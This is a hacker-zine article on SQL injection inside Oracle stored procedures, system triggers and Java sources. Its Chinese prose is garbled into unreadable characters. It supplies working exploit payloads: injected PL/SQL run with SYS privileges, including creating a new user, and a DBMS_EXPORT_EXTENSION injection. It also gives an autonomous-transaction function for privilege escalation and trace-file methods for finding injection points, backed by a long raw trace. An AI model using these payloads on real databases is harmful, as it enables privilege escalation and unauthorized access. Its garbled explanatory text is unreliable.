                          ==Ph4nt0m Security Team==
 
                       Issue 0x02, Phile #0x06 of 0x0A
 

|=---------------------------------------------------------------------------=|
|=--------------------=[  ھORACLEڲSQLINJECTION  ]=-----------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[        By kj021320       ]=----------------------=|
|=----------------------=[    <kj021320_at_126.com>   ]=---------------------=|
|=---------------------------------------------------------------------------=|


һǰ

    þûдPAPERˣվ֮ԡҾڹڵORACLEоñȽ٣
ǷȱҹªšڹPAPERѾΪORACLEľ䡣
ôľǸһ¹ORACLEڲSQLע似ŴҶд
ART OF WEB-SQL-INJECTION2 ORACLEƪ 07ĳʱ򣬱Ѿд
⺯עin ORACLEϧżһݶʧУPAPER˷Ĺ
ΪھORACLEڲSQLINJECTIONΪʲôʵORACLEڲSQLע䲻
ں 洢̣ĻǾ̫ˣʵкöĵطǻ
SQLעġTRIGGERSQLJJOBȵȡϣĿORACLE棬
ֵשˡ



    WEBSQLINJECTIONѾΪνġավͲϻǵݿ
浽ʲôĴ洢/SQLINJECTIONأȿһӣ

    Example1:

    CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
    AS
    BEGIN
           execute immediate 'begin insert into KJTESTTABLE values('''|| injcode ||''');end;';
    END;

    ϵĴ洢̣ѲдһУһ㿪֡
    
    ôĵã»ַ1д KJTESTTABLE档

    declare
    begin
           KJTEST('1');
    end;

    ôڿԶinjcodePOCһ

    declare
    begin
           KJTEST('1'');dbms_output.put_line(''hello');
    end;

    ִķԿڿ̨hello

    OKEXPͷǳдˣ

    declare
    begin
           KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello');
    end;

    ôĴ洢гSQLע䣬һûдĴ洢©á
ֻܡձˡSYS SYSTEMϵͳԱûĴУʹ
ˡٿORAУȨ޵ģ͡

    £һͨȨ޵ûKJsys.dbms_metadata.get_ddlԻȡĳϵͳ
DDLԴ룬ôõʱΪúӵSYS  Ե߱
sysͬȽɫȨޡʼѯϵͳȻѽKJٴתΪKJԼȨ
 ָʾ

    û--->ú(תΪӵߵȨ)--->ִв--->ȡ--->(תΪԼȨ) --->

    ǾͿԼˣSYSûĶSQLע֣ôǾ
SYSû°ûȡôEXP-CODEУȫSYSû
ִexecute immediate 'create user kj identified by kj'OKĵһ
۵

    еORAڲSQLע䶼ʹõģѾǷ
ټˡҼãٿһ

    Example2:

    CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
    AS
    tbn  varchar2(1000);
    BEGIN
           execute immediate 'select table_name from user_tables where table_name='''|| injcode ||''''
               into tbn;
           dbms_output.put_line(tbn);
    END;

    ôõʱô˷ʽ

    declare
    begin
           KJTEST('KJTESTTABLE');
    end;

    鿴ûϵͳΪKJTESTTABLEļ¼

    OK洢ʹöִ̬SQL䣬ΪĿеǵSQL䣬ô
ǲ1ʹöйǿԿƵǰִе̡и
ǷһEXPĺSQLִеáã

    CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
      RESULT INTEGER;
      PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE VALUES(021320)';
      COMMIT;
      RETURN(RESULT);
    END KJHACKEREXP;

    declare
    begin
      KJTEST('KJTESTTABLE''||KJHACKEREXP()||''');
    end;

    OKORACLESQLINJECTIONǰϷϣڽھ򲿷֡

    ھΪ2֣ں׺зʽ
    
    Ƚܼ򵥵ǰ׺зʽORACLEÿSOURCEᱣݿڵġô
ǿԲһ洢ȡSYS.DBMS_METADATA.GET_DDLһ䣺

    SELECT  SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP')
    FROM DUAL

    ԻȡöData Declare SourceȻҲԼѯ

    SELECT * from all_source

    ǷôأȻˣORACLEУҲṩ˶Դ洢̺ȼֶܵΣ
SQLSERVERĴ洢̼ܡԵ鿴ctxsys.CTX_DDLʱᷢ¶֣

    create or replace package body ctxsys.CTX_DDL wrapped

    ԣORACLEwrapܱˣôֻܺںвˣԵʱȥȡʱ
ORACLEִеĲأͨµķ

    1ORACLE  ߷ traces ļ 
    2ORACLE־ 
    3ݿⴥ( TRIGGER)ز 
    4ѯORACLE SQL  (SGA)

    ȵȣORACLE洢̵Ȼòˡ

    Ƚܲ򵥵ĲѯSGAûȽϾEXPִһ£

    SELECT
    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE(''KJ021320'');END;--','SYS',0,'1',0)
    FROM DUAL

    Ȼִ²鿴SGA

    SELECT A.ADDRESS ADDRESS,S.HASH_VALUE HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT SQL_TEXT,U.USERNAME
    PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES
    S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND
    A.HASH_VALUE=S.HASH_VALUE AND A.PARSING_USER_ID=U.USER_ID AND
    A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X' FROM V$SQLTEXT_WITH_NEWLINES
    X WHERE X.ADDRESS=A.ADDRESS AND X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE
    '%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3

    õ½

    ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID 
    PARSING_SCHEMA_ID 
    668C9120 1612804047 0 BEGIN
    "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ0 SYS SYS 
    668C9120 1612804047 1 21320');END;--".ODCIIndexUtilCleanup(:p1); END; 
    SYS SYS 
    
    BEGIN 
    "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ021320');END;
    --".ODCIIndexUtilCleanup(:p1); END;

    Ϊڲһע㣬ǿԲExample1Ĺʽ

    ǼʹORACLE TRACEķʽм¼мַԵõһSQL
ִʱ̨traceļһSQL_TRACEһDBMS_SUPPORTDBMS_SYSTEM
һ־ֱʹ10046 event巽ʽ£

    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';
    YOUR SQL STATEMENT...
    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';

    еlevel14812ѡ1൱SQL_TRACE=TRUE֮Ľ4
1ĽͰ󶨱ʵֵ81Ľ͵ȴ¼12ͬʱ1Ľ
ʵֵ͵ȴ¼Կ˵level 12Ϊϸtraceˡ

    OK˵ꡣùȥһ©ԣ

    http://www.milw0rm.com/exploits/3363
    
    SYS.DBMS_METADATA.GET_DDLSQLע©ôPLSQLô
עڲǰϷ

    CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
      RESULT INTEGER;
      PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)';
      COMMIT;
      RETURN(RESULT);
    END KJHACKEREXP;

    Ϊص䣺

    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';

    SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL;

    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';

    ִ֮쳣ԵͿԡOKҵoracle\admin\{SID}\udump Ŀ¼
һtrcļҿǲ׽ļ¼ܶϰߵ£

    =====================
    PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61 tim=5821472460 hv=3907016812 ad='666488bc'
    SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL
    ǿʼ
    END OF STMT
    PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5821472453
    BINDS #1:
    EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821473044
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 712 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61 tim=5821474773 hv=3714800427 ad='665afb10'
    SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
    END OF STMT
    PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821474767
    BINDS #4:
    EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821475306
    FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5821475420
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0 tim=5821479726 hv=2617299981 ad='665793f0'
    SELECT properties, version, xmltag, udt, schema, viewname, flags, decode(bitand(flags,1), 0, 0, 1), decode(bitand(flags,2), 0, 0, 1), decode(bitand(flags,4), 0, 0, 1), decode(bitand(flags,8), 0, 0, 1), decode(bitand(flags,16), 0, 0, 1), decode(bitand(flags,32), 0, 0, 1), decode(bitand(flags,64), 0, 0, 1), decode(bitand(flags,128), 0, 0, 1), decode(bitand(flags,256), 0, 0, 1), decode(bitand(flags,512), 0, 0, 1), decode(bitand(flags,1024), 0, 0, 1), decode(bitand(flags,2048), 0, 0, 1), decode(bitand(flags,4096), 0, 0, 1), decode(bitand(flags,8192), 0, 0, 1), decode(bitand(flags,16384), 0, 0, 1), decode(bitand(flags,32768), 0, 0, 1) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||'' AND model='ORACLE' AND version<=902000000
    һע㣡
    END OF STMT
    PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821479719
    BINDS #4:
    =====================
    PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821480756 hv=1324055951 ad='6684058c'
    INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
    END OF STMT
    PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,tim=5821480750
    BINDS #5:
    EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,tim=5821481459
    XCTEND rlbk=0, rd_only=0
    =====================
    PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0 tim=5821485357 hv=3615375148 ad='6683f908'
    COMMIT
    END OF STMT
    EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821485350
    EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,tim=5821485780
    FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821485932
    STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS BY INDEX ROWID METAVIEW$ '
    STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
    =====================
    PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0 tim=5821489243 hv=1567650580 ad='665750fc'
    SELECT COUNT(*) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||''
    2ע
    END OF STMT
    PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821489235
    BINDS #4:
    =====================
    PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821489578 hv=1324055951 ad='6684058c'
    INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
    END OF STMT
    PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,tim=5821489574
    BINDS #5:
    EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,tim=5821489747
    XCTEND rlbk=0, rd_only=0
    EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821489880
    EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,tim=5821489928
    FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,tim=5821489962
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE '
    STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
    FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=4,tim=5821491101
    WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0
    WAIT #1: nam='SQL*Net break/reset to client' ela= 74 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net break/reset to client' ela= 204 p1=1413697536 p2=0 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 3958 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61 tim=5821500658 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821500653
    BINDS #4:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5821500860
    WAIT #4: nam='SQL*Net message from client' ela= 2708856 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61 tim=5824210045 hv=678177122 ad='669adadc'
    begin
      sys.dbms_output.get_line(line => :line, status => :status);
    end;
    END OF STMT
    PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5824210040
    BINDS #4:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
       bfp=04a8fb80 bln=22 avl=00 flg=05
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5824210269
    WAIT #4: nam='SQL*Net message from client' ela= 6717782 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61 tim=5830928325 hv=2888538493 ad='669abe84'
    select 'x' from dual
    END OF STMT
    PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928320
    BINDS #4:
    EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928419
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message from client' ela= 406 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5830928945
    WAIT #4: nam='SQL*Net message from client' ela= 515 p1=1413697536 p2=1 p3=0
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61 tim=5830929706 hv=2628502993 ad='669c5924'
    begin
      if :enable = 0 then
        sys.dbms_output.disable;
      else
        sys.dbms_output.enable(:size);
      end if;
    end;
    END OF STMT
    PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830929702
    BINDS #4:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
       bfp=04a8fb68 bln=22 avl=02 flg=05
       value=1
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
       bfp=04a8fb80 bln=22 avl=02 flg=01
       value=10000
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830930021
    WAIT #4: nam='SQL*Net message from client' ela= 38283 p1=1413697536 p2=1 p3=0
    STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830968630 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830968625
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830968820
    WAIT #1: nam='SQL*Net message from client' ela= 456 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830969751 hv=1998264515 ad='6683df78'
    SELECT * FROM KJTESTTABLE
    END OF STMT
    PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5830969746
    BINDS #1:
    EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830969837
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 453 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,tim=5830970423
    WAIT #1: nam='SQL*Net message from client' ela= 3199 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830973736 hv=1998264515 ad='6683df78'
    SELECT * FROM KJTESTTABLE
    END OF STMT
    PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830973731
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message from client' ela= 20741 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0 tim=5830994714 hv=189272129 ad='66f9f01c'
    select o.owner#,o.name,o.namespace,o.remoteowner,o.linkname,o.subname,o.dataobj#,o.flags from obj$ o where o.obj#=:1
    END OF STMT
    PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994709
    BINDS #5:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08 oacfl2=1 size=24 offset=0
       bfp=04bfa444 bln=22 avl=04 flg=05
       value=30183
    EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994889
    FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5830994941
    STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE ACCESS FULL KJTESTTABLE '
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830995126 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830995122
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 4 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830995299
    WAIT #1: nam='SQL*Net message from client' ela= 16489 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61 tim=5831012027 hv=678177122 ad='669adadc'
    begin
      sys.dbms_output.get_line(line => :line, status => :status);
    end;
    END OF STMT
    PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5831012022
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
       bfp=04a8fb80 bln=22 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5831012236
    WAIT #1: nam='SQL*Net message from client' ela= 2431209 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61 tim=5833443769 hv=2888538493 ad='669abe84'
    select 'x' from dual
    END OF STMT
    PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443764
    BINDS #1:
    EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443861
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 412 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5833444394
    WAIT #1: nam='SQL*Net message from client' ela= 526 p1=1413697536 p2=1 p3=0
    STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61 tim=5833445119 hv=2628502993 ad='669c5924'
    begin
      if :enable = 0 then
        sys.dbms_output.disable;
      else
        sys.dbms_output.enable(:size);
      end if;
    end;
    END OF STMT
    PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833445116
    BINDS #1:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
       bfp=04a8fb68 bln=22 avl=02 flg=05
       value=1
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
       bfp=04a8fb80 bln=22 avl=02 flg=01
       value=10000
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833445350
    WAIT #1: nam='SQL*Net message from client' ela= 44290 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5833489927 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833489922
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833490119
    WAIT #1: nam='SQL*Net message from client' ela= 680 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61 tim=5833510806 hv=1342917134 ad='66548fe8'
    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'
    ǵĽ
    END OF STMT
    PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5833510799
    BINDS #1:
    EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833510934

    OK,żôˡϵSQLעǵExample2
Զ䣬ֻעһEXPй

    ôtriggerǼضϵͳɾĲȻRedo־
Ͳٶ˵ˣҿȥйORACLE DBAϡ

β

    Ľ˹ORACLEڲע©ھ򣬵Ӷ˵˺öڴ洢
̻ߺ©ʵġһϵͳtrigger

    create or replace trigger MDSYS.sdo_drop_user
    after drop on DATABASE
    declare
       stmt varchar2(200);
    BEGIN
         if dictionary_obj_type = 'USER' THEN
           stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' ||
               ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_MAPS_TABLE ' ||
               ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_STYLES_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_THEMES_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
        end if;
    end;

    ɾĶsys.dictionary_obj_nameʹSQLע빥ˡ

    ô򵥷һSQLJ뿴ұעĵط

    create or replace and compile java source named sys./28221493_foreachclass as
    /* generated by Jasper  from ForEachClass.jsl */

    package oracle.jaccelerator.server;

    import oracle.aurora.rdbms.ClassHandle;
    import oracle.jaccelerator.server.PackageValidateAll;
    import java.lang.String;
    import oracle.jaccelerator.server.ClassProcessor;
    import oracle.aurora.rdbms.Schema;
    import oracle.jaccelerator.server.ForEachClass;
    import java.sql.Connection;
    import oracle.jaccelerator.server.PackageDisableNcomp;
    import oracle.aurora.rdbms.Handle;
    import java.lang.Exception;
    import oracle.sql.*;
    import java.io.*;
    import oracle.jaccelerator.server.*;
    import oracle.jdbc.driver.*;
    import java.sql.*;
    import java.lang.*;
    import java.util.*;

    public class ForEachClass {
        public static String from_plsql (String processorName,
                      String packageNamePattern,
                      String schema) {
            ClassProcessor processor = null;
          
            try {
                Class clazz = Class.forName("oracle.jaccelerator.server." + processorName);
                processor = ((ClassProcessor)clazz.newInstance()).init(packageNamePattern, schema);
            } catch (ClassNotFoundException ex) {
                return "class oracle.jaccelerator.server." + processorName + " not found";
            } catch (Exception ex2) {
                return "can not instantiate class oracle.jaccelerator.server." + processorName;
            }
            int count = ForEachClass.inPackage(packageNamePattern, schema).apply(processor);
            return "processed total: " + count + " classes";
        }

        public static ForEachClass inPackage (String packageName, String schema) {
            return new ForEachClass(packageName, schema);
        }

        Connection connection;
        int counter = 0;
        String packageNamePattern;
        String schema;

        public ForEachClass (String packageNamePattern, String schema) {
            this.packageNamePattern = packageNamePattern.replace('.', '/');
            this.schema = schema;
        }

        public int apply (ClassProcessor processor) {
            try {
                OracleDriver driver = new OracleDriver();
                connection = driver.defaultConnection();
                doit(processor);
            } catch (Exception e) {

                e.printStackTrace();
            }
            finally {
                if (connection != null)  {
                }
            }
            return counter;
        }

        void cleanup (Connection connection) {
        }

        public void doit (ClassProcessor processor) throws java.lang.Exception {
            cleanup(connection);
            Statement stmt = connection.createStatement();

            try {
                String cmd;
                cmd = "select dbms_java.longname(OBJECT_NAME) " +
                "from user_objects " +
                "where OBJECT_TYPE = 'JAVA CLASS' and " +
                "dbms_java.longname(OBJECT_NAME) like '" +
                packageNamePattern +
                "/%' " +
                "and dbms_java.longname(OBJECT_NAME) not like '" +
                packageNamePattern +
                "/%/%'";
                //ϴ洢SQLע
                ResultSet rset = stmt.executeQuery(cmd);

                while (rset.next()) {
                    String className = rset.getString(1);
                    processor.execute(className);
                    counter++;
                }
            } catch (Exception e) {
                System.out.println(" got error   " + e);
            }
            finally {
                if (stmt != null)
                    stmt.close();
            }
        }
    }

    ˰ɣƴSQLΣյĿʼOKʣµҾͲ˵ˡ

ġ

